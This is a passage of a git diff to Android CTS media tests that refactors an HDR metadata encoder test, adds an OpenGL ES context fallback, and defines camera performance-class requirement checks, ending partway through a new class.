+21,59 @@ import android.media.MediaCodecList; import android.media.MediaFormat; import android.media.MediaMuxer; import android.os.Build; -import android.os.Bundle; +import android.util.Log; import androidx.test.filters.SdkSuppress; import androidx.test.filters.SmallTest; +import com.android.compatibility.common.util.CddTest; + +import org.junit.After; import org.junit.Assume; import org.junit.Test; import org.junit.runner.RunWith; import org.junit.runners.Parameterized; -import java.io.File; import java.io.IOException; import java.nio.ByteBuffer; import java.util.ArrayList; import java.util.Arrays; import java.util.Collection; +import java.util.Collections; import java.util.List; +import java.util.Map; import static android.media.MediaCodecInfo.CodecCapabilities.COLOR_FormatYUVP010; -import static android.media.MediaCodecInfo.CodecProfileLevel.*; import static org.junit.Assert.assertNotNull; import static org.junit.Assert.assertTrue; /** - * Test to validate hdr static and dynamic metadata in encoders + * HDR10 Metadata is an aid for a display device to show the content in an optimal manner. It + * contains the HDR content and mastering device properties that are used by the display device + * to map the content according to its own color gamut and peak brightness. This information is + * part of the elementary stream. Generally this information is placed at scene change intervals + * or even at every frame level. If the encoder is configured with hdr info, then it is + * expected to place this information in the elementary stream as-is. This test validates the + * same. The test feeds per-frame or per-scene info at various points and expects the encoder + * to place the hdr info in the elementary stream at exactly those points + * + * Restrict hdr info test for Android T and above */ @RunWith(Parameterized.class) // P010 support was added in Android T, hence limit the following tests to Android T and above @SdkSuppress(minSdkVersion = Build.VERSION_CODES.TIRAMISU, codeName = "Tiramisu") -public class EncoderHDRInfoTest extends CodecEncoderTestBase { +public class EncoderHDRInfoTest extends HDREncoderTestBase { private static final String LOG_TAG = EncoderHDRInfoTest.class.getSimpleName(); - private MediaMuxer mMuxer; - private int mTrackID = -1; - static final ArrayList<String> mCheckESList = new ArrayList<>(); - - static { - mCheckESList.add(MediaFormat.MIMETYPE_VIDEO_AV1); - mCheckESList.add(MediaFormat.MIMETYPE_VIDEO_AVC); - mCheckESList.add(MediaFormat.MIMETYPE_VIDEO_HEVC); - } + private String mHDRStaticInfo; + private Map<Integer, String> mHDRDynamicInfo; - public EncoderHDRInfoTest(String encoderName, String mediaType, int bitrate, int width, - int height, boolean testDynamicMetadata) { - super(encoderName, mediaType, new int[]{bitrate}, new int[]{width}, new int[]{height}); - mTestDynamicMetadata = testDynamicMetadata; - } - - void enqueueInput(int bufferIndex) { - if(mTestDynamicMetadata){ - final Bundle params = new Bundle(); - byte[] info = loadByteArrayFromString(HDR_DYNAMIC_INFO[mInputCount]); - params.putByteArray(MediaFormat.KEY_HDR10_PLUS_INFO, info); - mCodec.setParameters(params); - if (mInputCount >= HDR_DYNAMIC_INFO.length) { - mSawInputEOS = true; - } - } - super.enqueueInput(bufferIndex); - } - void dequeueOutput(int bufferIndex, MediaCodec.BufferInfo info) { - MediaFormat bufferFormat = mCodec.getOutputFormat(bufferIndex); - if (info.size > 0) { - ByteBuffer buf = mCodec.getOutputBuffer(bufferIndex); - if (mMuxer != null) { - if (mTrackID == -1) { - mTrackID = mMuxer.addTrack(bufferFormat); - mMuxer.start(); - } - mMuxer.writeSampleData(mTrackID, buf, info); - } - } - super.dequeueOutput(bufferIndex, info); - // verify if the out fmt contains HDR Dynamic metadata as expected - if (mTestDynamicMetadata && mOutputCount > 0) { - validateHDRDynamicMetaData(bufferFormat, - ByteBuffer.wrap(loadByteArrayFromString(HDR_DYNAMIC_INFO[mOutputCount - 1]))); - } + public EncoderHDRInfoTest(String encoderName, String mediaType, int bitrate, + int width, int height, String HDRStaticInfo, + Map<Integer, String> HDRDynamicInfo) { + super(encoderName, mediaType, bitrate, width, height); + mHDRStaticInfo = HDRStaticInfo; + mHDRDynamicInfo = HDRDynamicInfo; } @Parameterized.Parameters(name = "{index}({0}_{1})") @@ -106,111 +81,28 @@ public class EncoderHDRInfoTest extends CodecEncoderTestBase { final boolean isEncoder = true; final boolean needAudio = false; final boolean needVideo = true; - - final List<Object[]> exhaustiveArgsList = Arrays.asList(new Object[][]{ - {MediaFormat.MIMETYPE_VIDEO_AV1, 512000, 352, 288, false}, - {MediaFormat.MIMETYPE_VIDEO_VP9, 512000, 352, 288, false}, - {MediaFormat.MIMETYPE_VIDEO_HEVC, 512000, 352, 288, false}, - - {MediaFormat.MIMETYPE_VIDEO_AV1, 512000, 352, 288, true}, - {MediaFormat.MIMETYPE_VIDEO_VP9, 512000, 352, 288, true}, - {MediaFormat.MIMETYPE_VIDEO_HEVC, 512000, 352, 288, true}, - }); + final String[] mediaTypes = new String[]{ + MediaFormat.MIMETYPE_VIDEO_AV1, + MediaFormat.MIMETYPE_VIDEO_HEVC, + MediaFormat.MIMETYPE_VIDEO_VP9 + }; + + final List<Object[]> exhaustiveArgsList = new ArrayList<>(); + for (String mediaType : mediaTypes) { + // mediaType, bitrate, width, height, hdrStaticInfo, hdrDynamicInfo + exhaustiveArgsList.add(new Object[]{mediaType, 512000, 352, 288, HDR_STATIC_INFO, + null}); + exhaustiveArgsList.add(new Object[]{mediaType, 512000, 352, 288, null, + HDR_DYNAMIC_INFO}); + } return prepareParamList(exhaustiveArgsList, isEncoder, needAudio, needVideo, false); } @SmallTest @Test(timeout = PER_TEST_TIMEOUT_SMALL_TEST_MS) - public void testHDRMetadata() throws IOException, InterruptedException { - int profile; - setUpParams(1); - MediaFormat format = mFormats.get(0); - final ByteBuffer hdrStaticInfo = ByteBuffer.wrap(loadByteArrayFromString(HDR_STATIC_INFO)); - if (mTestDynamicMetadata) { - profile = mProfileHdr10PlusMap.getOrDefault(mMime, new int[]{-1})[0]; - } else { - profile = mProfileHdr10Map.getOrDefault(mMime, new int[]{-1})[0]; - } - format.setInteger(MediaFormat.KEY_PROFILE, profile); - format.setInteger(MediaFormat.KEY_COLOR_FORMAT, COLOR_FormatYUVP010); - format.setInteger(MediaFormat.KEY_COLOR_RANGE, MediaFormat.COLOR_RANGE_LIMITED); - format.setInteger(MediaFormat.KEY_COLOR_STANDARD, MediaFormat.COLOR_STANDARD_BT2020); - format.setInteger(MediaFormat.KEY_COLOR_TRANSFER, MediaFormat.COLOR_TRANSFER_ST2084); - format.setByteBuffer(MediaFormat.KEY_HDR_STATIC_INFO, hdrStaticInfo); - mFormats.clear(); - mFormats.add(format); - Assume.assumeTrue(mCodecName + " does not support this HDR profile", - areFormatsSupported(mCodecName, mMime, mFormats)); - Assume.assumeTrue(mCodecName + " does not support color format COLOR_FormatYUVP010", - hasSupportForColorFormat(mCodecName, mMime, COLOR_FormatYUVP010)); - mBytesPerSample = 2; - setUpSource(INPUT_VIDEO_FILE_HBD); - mOutputBuff = new OutputManager(); - mCodec = MediaCodec.createByCodecName(mCodecName); - mOutputBuff.reset(); - String log = String.format("format: %s \n codec: %s:: ", format, mCodecName); - File tmpFile; - int muxerFormat; - if (mMime.equals(MediaFormat.MIMETYPE_VIDEO_VP9)) { - muxerFormat = MediaMuxer.OutputFormat.MUXER_OUTPUT_WEBM; - tmpFile = File.createTempFile("tmp10bit", ".webm"); - } else { - muxerFormat = MediaMuxer.OutputFormat.MUXER_OUTPUT_MPEG_4; - tmpFile = File.createTempFile("tmp10bit", ".mp4"); - } - mMuxer = new MediaMuxer(tmpFile.getAbsolutePath(), muxerFormat); - configureCodec(format, true, true, true); - mCodec.start(); - doWork(4); - queueEOS(); - waitForAllOutputs(); - if (mTrackID != -1) { - mMuxer.stop(); - mTrackID = -1; - } - if (mMuxer != null) { - mMuxer.release(); - mMuxer = null; - } - assertTrue(log + "unexpected error", !mAsyncHandle.hasSeenError()); - assertTrue(log + "no input sent", 0 != mInputCount); - assertTrue(log + "output received", 0 != mOutputCount); - - MediaFormat fmt = mCodec.getOutputFormat(); - mCodec.stop(); - mCodec.release(); - - // verify if the out fmt contains HDR Static metadata as expected - validateHDRStaticMetaData(fmt, hdrStaticInfo); - - // verify if the muxed file contains HDR metadata as expected - MediaCodecList codecList = new MediaCodecList(MediaCodecList.REGULAR_CODECS); - String decoder = codecList.findDecoderForFormat(format); - assertNotNull("Device advertises support for encoding " + format.toString() + - " but not decoding it", decoder); - CodecDecoderTestBase cdtb = - new CodecDecoderTestBase(decoder, mMime, tmpFile.getAbsolutePath()); - String parent = tmpFile.getParent(); - if (parent != null) parent += File.separator; - else parent = ""; - cdtb.validateHDRStaticMetaData(parent, tmpFile.getName(), hdrStaticInfo, false); - if (mTestDynamicMetadata) { - cdtb.validateHDRDynamicMetaData(parent, tmpFile.getName(), false); - } - - // if HDR static metadata can also be signalled via elementary stream then verify if - // the elementary stream contains HDR static data as expected - if (mCheckESList.contains(mMime)) { - cdtb.validateHDRStaticMetaData(parent, tmpFile.getName(), hdrStaticInfo, true); - - // since HDR static metadata is signalled via elementary stream then verify if - // the elementary stream contains HDR static data as expected - if (mTestDynamicMetadata) { - cdtb.validateHDRDynamicMetaData(parent, tmpFile.getName(), true); - } - } - - tmpFile.delete(); + @CddTest(requirements = {"5.12/C-6-4"}) + public void testHDRInfo() throws IOException, InterruptedException { + validateHDRInfo(mHDRStaticInfo, mHDRDynamicInfo); } } diff --git a/tests/media/src/android/mediav2/cts/OutputSurface.java b/tests/media/src/android/mediav2/cts/OutputSurface.java index 03856a25592..24dbc4d08fe 100644 --- a/tests/media/src/android/mediav2/cts/OutputSurface.java +++ b/tests/media/src/android/mediav2/cts/OutputSurface.java @@ -22,10 +22,12 @@ import android.opengl.EGLConfig; import android.opengl.EGLContext; import android.opengl.EGLDisplay; import android.opengl.EGLSurface; +import android.opengl.GLES20; import android.util.Log; import android.view.Surface; import static org.junit.Assert.assertTrue; +import static org.junit.Assume.assumeTrue; /** @@ -58,6 +60,8 @@ class OutputSurface implements SurfaceTexture.OnFrameAvailableListener { private boolean mFrameAvailable; private TextureRender mTextureRender; + private int mEGLESVersion; + private boolean mEXTYuvTargetSupported = false; /** * Creates an OutputSurface backed by a pbuffer with the specified dimensions. The new @@ -76,6 +80,11 @@ class OutputSurface implements SurfaceTexture.OnFrameAvailableListener { eglSetup(width, height, useHighBitDepth, useYuvSampling); makeCurrent(); + if (mEGLESVersion > 2) { + String extensionList = GLES20.glGetString(GLES20.GL_EXTENSIONS); + mEXTYuvTargetSupported = extensionList.contains("GL_EXT_YUV_target"); + } + setup(this, useYuvSampling); } @@ -92,6 +101,13 @@ class OutputSurface implements SurfaceTexture.OnFrameAvailableListener { } /** + * Returns if the device support GL_EXT_YUV_target extension + */ + public boolean getEXTYuvTargetSupported() { + return mEXTYuvTargetSupported; + } + + /** * Creates instances of TextureRender and SurfaceTexture, and a Surface associated * with the SurfaceTexture. */ @@ -101,7 +117,7 @@ class OutputSurface implements SurfaceTexture.OnFrameAvailableListener { assertTrue(EGL14.eglGetCurrentSurface(EGL14.EGL_DRAW) != EGL14.EGL_NO_SURFACE); assertTrue(EGL14.eglGetCurrentSurface(EGL14.EGL_READ) != EGL14.EGL_NO_SURFACE); mTextureRender = new TextureRender(); - mTextureRender.setUseYuvSampling(useYuvSampling); + mTextureRender.setUseYuvSampling(mEXTYuvTargetSupported && useYuvSampling); mTextureRender.surfaceCreated(); // Even if we don't access the SurfaceTexture after the constructor returns, we @@ -162,13 +178,22 @@ class OutputSurface implements SurfaceTexture.OnFrameAvailableListener { } // Configure context for OpenGL ES 3.0/2.0. - int eglContextClientVersion = useYuvSampling ? 3: 2; - int[] attrib_list = { - EGL14.EGL_CONTEXT_CLIENT_VERSION, eglContextClientVersion, - EGL14.EGL_NONE - }; - mEGLContext = EGL14.eglCreateContext(mEGLDisplay, configs[0], EGL14.EGL_NO_CONTEXT, - attrib_list, 0); + mEGLESVersion = useYuvSampling ? 3 : 2; + do { + int[] attrib_list = { + EGL14.EGL_CONTEXT_CLIENT_VERSION, mEGLESVersion, + EGL14.EGL_NONE + }; + mEGLContext = EGL14.eglCreateContext(mEGLDisplay, configs[0], EGL14.EGL_NO_CONTEXT, + attrib_list, 0); + // if OpenGL ES 3.0 isn't supported, attempt to create OpenGL ES 2.0 context + if (mEGLContext == EGL14.EGL_NO_CONTEXT && useYuvSampling) { + mEGLESVersion--; + } else { + break; + } + } while (mEGLESVersion > 1); + checkEglError("eglCreateContext"); if (mEGLContext == null) { throw new RuntimeException("null context"); diff --git a/tests/media/src/android/mediav2/cts/WorkDir.java b/tests/media/src/android/mediav2/cts/WorkDir.java index 9011b621e32..774595cdbea 100644 --- a/tests/media/src/android/mediav2/cts/WorkDir.java +++ b/tests/media/src/android/mediav2/cts/WorkDir.java @@ -40,7 +40,7 @@ class WorkDir { // user has specified the mediaDirString via instrumentation-arg return mediaDirString + ((mediaDirString.endsWith("/")) ? "" : "/"); } else { - return (getTopDirString() + "test/CtsMediaV2TestCases-2.3/"); + return (getTopDirString() + "test/CtsMediaV2TestCases-2.4/"); } } } diff --git a/tests/mediapc/AndroidTest.xml b/tests/mediapc/AndroidTest.xml index dcc8995c3a6..dc36e586b2d 100644 --- a/tests/mediapc/AndroidTest.xml +++ b/tests/mediapc/AndroidTest.xml @@ -24,6 +24,11 @@ <option name="config-filename" value="CtsMediaPerformanceClassTestCases" /> <option name="version" value="1.0"/> </target_preparer> + <target_preparer class="com.android.compatibility.common.tradefed.targetprep.DynamicConfigPusher"> + <option name="target" value="device" /> + <option name="config-filename" value="CtsMediaPerformanceClassTestCases" /> + <option name="version" value="1.0"/> + </target_preparer> <target_preparer class="com.android.compatibility.common.tradefed.targetprep.MediaPreparer"> <option name="push-all" value="true" /> <option name="media-folder-name" value="CtsMediaPerformanceClassTestCases-1.2" /> diff --git a/tests/mediapc/common/src/android/mediapc/cts/common/PerformanceClassEvaluator.java b/tests/mediapc/common/src/android/mediapc/cts/common/PerformanceClassEvaluator.java index 327fb9cf6c9..d3fd2921d5a 100644 --- a/tests/mediapc/common/src/android/mediapc/cts/common/PerformanceClassEvaluator.java +++ b/tests/mediapc/common/src/android/mediapc/cts/common/PerformanceClassEvaluator.java @@ -20,6 +20,7 @@ import static com.google.common.truth.Truth.assertThat; import static org.junit.Assume.assumeTrue; +import android.hardware.camera2.CameraMetadata; import android.media.MediaFormat; import android.os.Build; @@ -849,7 +850,493 @@ public class PerformanceClassEvaluator { } } - private <R extends Requirement> R addRequirement(R req) { + public static class PrimaryCameraRequirement extends Requirement { + private static final long MIN_BACK_SENSOR_PERF_CLASS_RESOLUTION = 12000000; + private static final long MIN_FRONT_SENSOR_S_PERF_CLASS_RESOLUTION = 5000000; + private static final long MIN_FRONT_SENSOR_R_PERF_CLASS_RESOLUTION = 4000000; + private static final String TAG = PrimaryCameraRequirement.class.getSimpleName(); + + private PrimaryCameraRequirement(String id, RequiredMeasurement<?> ... reqs) { + super(id, reqs); + } + + public void setPrimaryCameraSupported(boolean hasPrimaryCamera) { + this.setMeasuredValue(RequirementConstants.PRIMARY_CAMERA_AVAILABLE, + hasPrimaryCamera); + } + + public void setResolution(long resolution) { + this.setMeasuredValue(RequirementConstants.PRIMARY_CAMERA_RESOLUTION, + resolution); + } + + public void setVideoSizeReqSatisfied(boolean videoSizeReqSatisfied) { + this.setMeasuredValue(RequirementConstants.PRIMARY_CAMERA_VIDEO_SIZE_REQ_SATISFIED, + videoSizeReqSatisfied); + } + + public void setVideoFps(double videoFps) { + this.setMeasuredValue(RequirementConstants.PRIMARY_CAMERA_VIDEO_FPS, videoFps); + } + + /** + * [2.2.7.2/7.5/H-1-1] MUST have a primary rear facing camera with a resolution of at + * least 12 megapixels supporting video capture at 4k@30fps + */ + public static PrimaryCameraRequirement createRearPrimaryCamera() { + RequiredMeasurement<Boolean> hasPrimaryCamera = RequiredMeasurement + .<Boolean>builder() + .setId(RequirementConstants.PRIMARY_CAMERA_AVAILABLE) + .setPredicate(RequirementConstants.BOOLEAN_EQ) + .addRequiredValue(Build.VERSION_CODES.R, true) + .addRequiredValue(Build.VERSION_CODES.S, true) + .addRequiredValue(Build.VERSION_CODES.TIRAMISU, true) + .build(); + + RequiredMeasurement<Long> cameraResolution = RequiredMeasurement + .<Long>builder() + .setId(RequirementConstants.PRIMARY_CAMERA_RESOLUTION) + .setPredicate(RequirementConstants.LONG_GTE) + .addRequiredValue(Build.VERSION_CODES.R, MIN_BACK_SENSOR_PERF_CLASS_RESOLUTION) + .addRequiredValue(Build.VERSION_CODES.S, MIN_BACK_SENSOR_PERF_CLASS_RESOLUTION) + .addRequiredValue(Build.VERSION_CODES.TIRAMISU, MIN_BACK_SENSOR_PERF_CLASS_RESOLUTION) + .build(); + + RequiredMeasurement<Boolean> videoSizeReqSatisfied = RequiredMeasurement + .<Boolean>builder() + .setId(RequirementConstants.PRIMARY_CAMERA_VIDEO_SIZE_REQ_SATISFIED) + .setPredicate(RequirementConstants.BOOLEAN_EQ) + .addRequiredValue(Build.VERSION_CODES.R, true) + .addRequiredValue(Build.VERSION_CODES.S, true) + .addRequiredValue(Build.VERSION_CODES.TIRAMISU, true) + .build(); + + RequiredMeasurement<Double> videoFps = RequiredMeasurement + .<Double>builder() + .setId(RequirementConstants.PRIMARY_CAMERA_VIDEO_FPS) + .setPredicate(RequirementConstants.DOUBLE_GTE) + .addRequiredValue(Build.VERSION_CODES.R, 29.9) + .addRequiredValue(Build.VERSION_CODES.S, 29.9) + .addRequiredValue(Build.VERSION_CODES.TIRAMISU, 29.9) + .build(); + + return new PrimaryCameraRequirement(RequirementConstants.R7_5__H_1_1, + hasPrimaryCamera, cameraResolution, videoSizeReqSatisfied, + videoFps); + } + + /** + * [2.2.7.2/7.5/H-1-2] MUST have a primary front facing camera with a resolution of + * at least 4 megapixels supporting video capture at 1080p@30fps. + */ + public static PrimaryCameraRequirement createFrontPrimaryCamera() { + RequiredMeasurement<Boolean> hasPrimaryCamera = RequiredMeasurement + .<Boolean>builder() + .setId(RequirementConstants.PRIMARY_CAMERA_AVAILABLE) + .setPredicate(RequirementConstants.BOOLEAN_EQ) + .addRequiredValue(Build.VERSION_CODES.R, true) + .addRequiredValue(Build.VERSION_CODES.S, true) + .addRequiredValue(Build.VERSION_CODES.TIRAMISU, true) + .build(); + + RequiredMeasurement<Long> cameraResolution = RequiredMeasurement + .<Long>builder() + .setId(RequirementConstants.PRIMARY_CAMERA_RESOLUTION) + .setPredicate(RequirementConstants.LONG_GTE) + .addRequiredValue(Build.VERSION_CODES.R, MIN_FRONT_SENSOR_R_PERF_CLASS_RESOLUTION) + .addRequiredValue(Build.VERSION_CODES.S, MIN_FRONT_SENSOR_S_PERF_CLASS_RESOLUTION) + .addRequiredValue(Build.VERSION_CODES.TIRAMISU, + MIN_FRONT_SENSOR_S_PERF_CLASS_RESOLUTION) + .build(); + + RequiredMeasurement<Boolean> videoSizeReqSatisfied = RequiredMeasurement + .<Boolean>builder() + .setId(RequirementConstants.PRIMARY_CAMERA_VIDEO_SIZE_REQ_SATISFIED) + .setPredicate(RequirementConstants.BOOLEAN_EQ) + .addRequiredValue(Build.VERSION_CODES.R, true) + .addRequiredValue(Build.VERSION_CODES.S, true) + .addRequiredValue(Build.VERSION_CODES.TIRAMISU, true) + .build(); + + RequiredMeasurement<Double> videoFps = RequiredMeasurement + .<Double>builder() + .setId(RequirementConstants.PRIMARY_CAMERA_VIDEO_FPS) + .setPredicate(RequirementConstants.DOUBLE_GTE) + .addRequiredValue(Build.VERSION_CODES.R, 29.9) + .addRequiredValue(Build.VERSION_CODES.S, 29.9) + .addRequiredValue(Build.VERSION_CODES.TIRAMISU, 29.9) + .build(); + + return new PrimaryCameraRequirement(RequirementConstants.R7_5__H_1_2, + hasPrimaryCamera, cameraResolution, videoSizeReqSatisfied, + videoFps); + } + } + + public static class CameraTimestampSourceRequirement extends Requirement { + private static final String TAG = CameraTimestampSourceRequirement.class.getSimpleName(); + private static final int TIMESTAMP_REALTIME = + CameraMetadata.SENSOR_INFO_TIMESTAMP_SOURCE_REALTIME; + + private CameraTimestampSourceRequirement(String id, RequiredMeasurement<?> ... reqs) { + super(id, reqs); + } + + public void setRearCameraTimestampSource(Integer timestampSource) { + this.setMeasuredValue(RequirementConstants.REAR_CAMERA_TIMESTAMP_SOURCE, + timestampSource); + } + + public void setFrontCameraTimestampSource(Integer timestampSource) { + this.setMeasuredValue(RequirementConstants.FRONT_CAMERA_TIMESTAMP_SOURCE, + timestampSource); + } + /** + * [2.2.7.2/7.5/H-1-4] MUST support CameraMetadata.SENSOR_INFO_TIMESTAMP_SOURCE_REALTIME + * for both primary cameras. + */ + public static CameraTimestampSourceRequirement createTimestampSourceReq() { + RequiredMeasurement<Integer> rearTimestampSource = RequiredMeasurement + .<Integer>builder() + .setId(RequirementConstants.REAR_CAMERA_TIMESTAMP_SOURCE) + .setPredicate(RequirementConstants.INTEGER_EQ) + .addRequiredValue(Build.VERSION_CODES.R, TIMESTAMP_REALTIME) + .addRequiredValue(Build.VERSION_CODES.S, TIMESTAMP_REALTIME) + .addRequiredValue(Build.VERSION_CODES.TIRAMISU, TIMESTAMP_REALTIME) + .build(); + RequiredMeasurement<Integer> frontTimestampSource = RequiredMeasurement + .<Integer>builder() + .setId(RequirementConstants.FRONT_CAMERA_TIMESTAMP_SOURCE) + .setPredicate(RequirementConstants.INTEGER_EQ) + .addRequiredValue(Build.VERSION_CODES.R, TIMESTAMP_REALTIME) + .addRequiredValue(Build.VERSION_CODES.S, TIMESTAMP_REALTIME) + .addRequiredValue(Build.VERSION_CODES.TIRAMISU, TIMESTAMP_REALTIME) + .build(); + + return new CameraTimestampSourceRequirement(RequirementConstants.R7_5__H_1_4, + rearTimestampSource, frontTimestampSource); + } + } + + public static class CameraLatencyRequirement extends Requirement { + private static final String TAG = CameraTimestampSourceRequirement.class.getSimpleName(); + + private CameraLatencyRequirement(String id, RequiredMeasurement<?> ... reqs) { + super(id, reqs); + } + + public void setRearCameraLatency(float latency) { + this.setMeasuredValue(RequirementConstants.REAR_CAMERA_LATENCY, latency); + } + + public void setFrontCameraLatency(float latency) { + this.setMeasuredValue(RequirementConstants.FRONT_CAMERA_LATENCY, latency); + } + + /** + * [2.2.7.2/7.5/H-1-5] MUST have camera2 JPEG capture latency < 1000ms for 1080p resolution + * as measured by the CTS camera PerformanceTest under ITS lighting conditions + * (3000K) for both primary cameras. + */ + public static CameraLatencyRequirement createJpegLatencyReq() { + RequiredMeasurement<Float> rearJpegLatency = RequiredMeasurement + .<Float>builder() + .setId(RequirementConstants.REAR_CAMERA_LATENCY) + .setPredicate(RequirementConstants.FLOAT_LTE) + .addRequiredValue(Build.VERSION_CODES.R, 1000.0f) + .addRequiredValue(Build.VERSION_CODES.S, 1000.0f) + .addRequiredValue(Build.VERSION_CODES.TIRAMISU, 1000.0f) + .build(); + RequiredMeasurement<Float> frontJpegLatency = RequiredMeasurement + .<Float>builder() + .setId(RequirementConstants.FRONT_CAMERA_LATENCY) + .setPredicate(RequirementConstants.FLOAT_LTE) + .addRequiredValue(Build.VERSION_CODES.R, 1000.0f) + .addRequiredValue(Build.VERSION_CODES.S, 1000.0f) + .addRequiredValue(Build.VERSION_CODES.TIRAMISU, 1000.0f) + .build(); + + return new CameraLatencyRequirement(RequirementConstants.R7_5__H_1_5, + rearJpegLatency, frontJpegLatency); + } + + /** + * [2.2.7.2/7.5/H-1-6] MUST have camera2 startup latency (open camera to first + * preview frame) < 600ms as measured by the CTS camera PerformanceTest under ITS lighting + * conditions (3000K) for both primary cameras. + */ + public static CameraLatencyRequirement createLaunchLatencyReq() { + RequiredMeasurement<Float> rearLaunchLatency = RequiredMeasurement + .<Float>builder() + .setId(RequirementConstants.REAR_CAMERA_LATENCY) + .setPredicate(RequirementConstants.FLOAT_LTE) + .addRequiredValue(Build.VERSION_CODES.R, 600.0f) + .addRequiredValue(Build.VERSION_CODES.S, 600.0f) + .addRequiredValue(Build.VERSION_CODES.TIRAMISU, 600.0f) + .build(); + RequiredMeasurement<Float> frontLaunchLatency = RequiredMeasurement + .<Float>builder() + .setId(RequirementConstants.FRONT_CAMERA_LATENCY) + .setPredicate(RequirementConstants.FLOAT_LTE) + .addRequiredValue(Build.VERSION_CODES.R, 600.0f) + .addRequiredValue(Build.VERSION_CODES.S, 600.0f) + .addRequiredValue(Build.VERSION_CODES.TIRAMISU, 600.0f) + .build(); + + return new CameraLatencyRequirement(RequirementConstants.R7_5__H_1_6, + rearLaunchLatency, frontLaunchLatency); + } + } + + public static class CameraRawRequirement extends Requirement { + private static final String TAG = CameraRawRequirement.class.getSimpleName(); + + private CameraRawRequirement(String id, RequiredMeasurement<?> ... reqs) { + super(id, reqs); + } + + public void setRearRawSupported(boolean rearRawSupported) { + this.setMeasuredValue(RequirementConstants.REAR_CAMERA_RAW_SUPPORTED, + rearRawSupported); + } + + /** + * [2.2.7.2/7.5/H-1-8] MUST support CameraMetadata.REQUEST_AVAILABLE_CAPABILITIES_RAW and + * android.graphics.ImageFormat.RAW_SENSOR for the primary back camera. + */ + public static CameraRawRequirement createRawReq() { + RequiredMeasurement<Boolean> requirement = RequiredMeasurement + .<Boolean>builder() + .setId(RequirementConstants.REAR_CAMERA_RAW_SUPPORTED) + .setPredicate(RequirementConstants.BOOLEAN_EQ) + .addRequiredValue(Build.VERSION_CODES.S, true) + .addRequiredValue(Build.VERSION_CODES.TIRAMISU, true) + .build(); + + return new CameraRawRequirement(RequirementConstants.R7_5__H_1_8, requirement); + } + } + + public static class Camera240FpsRequirement extends Requirement { + private static final String TAG = Camera240FpsRequirement.class.getSimpleName(); + + private Camera240FpsRequirement(String id, RequiredMeasurement<?> ... reqs) { + super(id, reqs); + } + + public void setRear240FpsSupported(boolean rear240FpsSupported) { + this.setMeasuredValue(RequirementConstants.REAR_CAMERA_240FPS_SUPPORTED, + rear240FpsSupported); + } + + /** + * [2.2.7.2/7.5/H-1-9] MUST have a rear-facing primary camera supporting 720p or 1080p @ 240fps. + */ + public static Camera240FpsRequirement create240FpsReq() { + RequiredMeasurement<Boolean> requirement = RequiredMeasurement + .<Boolean>builder() + .setId(RequirementConstants.REAR_CAMERA_240FPS_SUPPORTED) + .setPredicate(RequirementConstants.BOOLEAN_EQ) + .addRequiredValue(Build.VERSION_CODES.TIRAMISU, true) + .build(); + + return new Camera240FpsRequirement(RequirementConstants.R7_5__H_1_9, requirement); + } + } + + public static class UltraWideZoomRatioRequirement extends Requirement { + private static final String TAG = + UltraWideZoomRatioRequirement.class.getSimpleName(); + + private UltraWideZoomRatioRequirement(String id, RequiredMeasurement<?> ... reqs) { + super(id, reqs); + } + + public void setRearUltraWideZoomRatioReqMet(boolean ultrawideZoomRatioReqMet) { + this.setMeasuredValue(RequirementConstants.REAR_CAMERA_ULTRAWIDE_ZOOMRATIO_REQ_MET, + ultrawideZoomRatioReqMet); + } + + public void setFrontUltraWideZoomRatioReqMet(boolean ultrawideZoomRatioReqMet) { + this.setMeasuredValue(RequirementConstants.FRONT_CAMERA_ULTRAWIDE_ZOOMRATIO_REQ_MET, + ultrawideZoomRatioReqMet); + } + + /** + * [2.2.7.2/7.5/H-1-10] MUST have min ZOOM_RATIO < 1.0 for the primary cameras if + * there is an ultrawide RGB camera facing the same direction. + */ + public static UltraWideZoomRatioRequirement createUltrawideZoomRatioReq() { + RequiredMeasurement<Boolean> rearRequirement = RequiredMeasurement + .<Boolean>builder() + .setId(RequirementConstants.REAR_CAMERA_ULTRAWIDE_ZOOMRATIO_REQ_MET) + .setPredicate(RequirementConstants.BOOLEAN_EQ) + .addRequiredValue(Build.VERSION_CODES.TIRAMISU, true) + .build(); + RequiredMeasurement<Boolean> frontRequirement = RequiredMeasurement + .<Boolean>builder() + .setId(RequirementConstants.FRONT_CAMERA_ULTRAWIDE_ZOOMRATIO_REQ_MET) + .setPredicate(RequirementConstants.BOOLEAN_EQ) + .addRequiredValue(Build.VERSION_CODES.TIRAMISU, true) + .build(); + + return new UltraWideZoomRatioRequirement(RequirementConstants.R7_5__H_1_10, + rearRequirement, frontRequirement); + } + } + + public static class ConcurrentRearFrontRequirement extends Requirement { + private static final String TAG = ConcurrentRearFrontRequirement.class.getSimpleName(); + + private ConcurrentRearFrontRequirement(String id, RequiredMeasurement<?> ... reqs) { + super(id, reqs); + } + + public void setConcurrentRearFrontSupported(boolean concurrentRearFrontSupported) { + this.setMeasuredValue(RequirementConstants.CONCURRENT_REAR_FRONT_SUPPORTED, + concurrentRearFrontSupported); + } + + /** + * [2.2.7.2/7.5/H-1-11] MUST implement concurrent front-back streaming on primary cameras. + */ + public static ConcurrentRearFrontRequirement createConcurrentRearFrontReq() { + RequiredMeasurement<Boolean> requirement = RequiredMeasurement + .<Boolean>builder() + .setId(RequirementConstants.CONCURRENT_REAR_FRONT_SUPPORTED) + .setPredicate(RequirementConstants.BOOLEAN_EQ) + .addRequiredValue(Build.VERSION_CODES.TIRAMISU, true) + .build(); + + return new ConcurrentRearFrontRequirement(RequirementConstants.R7_5__H_1_11, + requirement); + } + } + + public static class PreviewStabilizationRequirement extends Requirement { + private static final String TAG = + PreviewStabilizationRequirement.class.getSimpleName(); + + private PreviewStabilizationRequirement(String id, RequiredMeasurement<?> ... reqs) { + super(id, reqs); + } + + public void setRearPreviewStabilizationSupported(boolean supported) { + this.setMeasuredValue(RequirementConstants.REAR_CAMERA_PREVIEW_STABILIZATION_SUPPORTED, + supported); + } + + public void setFrontPreviewStabilizationSupported(boolean supported) { + this.setMeasuredValue(RequirementConstants.FRONT_CAMERA_PREVIEW_STABILIZATION_SUPPORTED, + supported); + } + + /** + * [2.2.7.2/7.5/H-1-12] MUST support CONTROL_VIDEO_STABILIZATION_MODE_PREVIEW_STABILIZATION + * for both primary front and primary back camera. + */ + public static PreviewStabilizationRequirement createPreviewStabilizationReq() { + RequiredMeasurement<Boolean> rearRequirement = RequiredMeasurement + .<Boolean>builder() + .setId(RequirementConstants.REAR_CAMERA_PREVIEW_STABILIZATION_SUPPORTED) + .setPredicate(RequirementConstants.BOOLEAN_EQ) + .addRequiredValue(Build.VERSION_CODES.TIRAMISU, true) + .build(); + 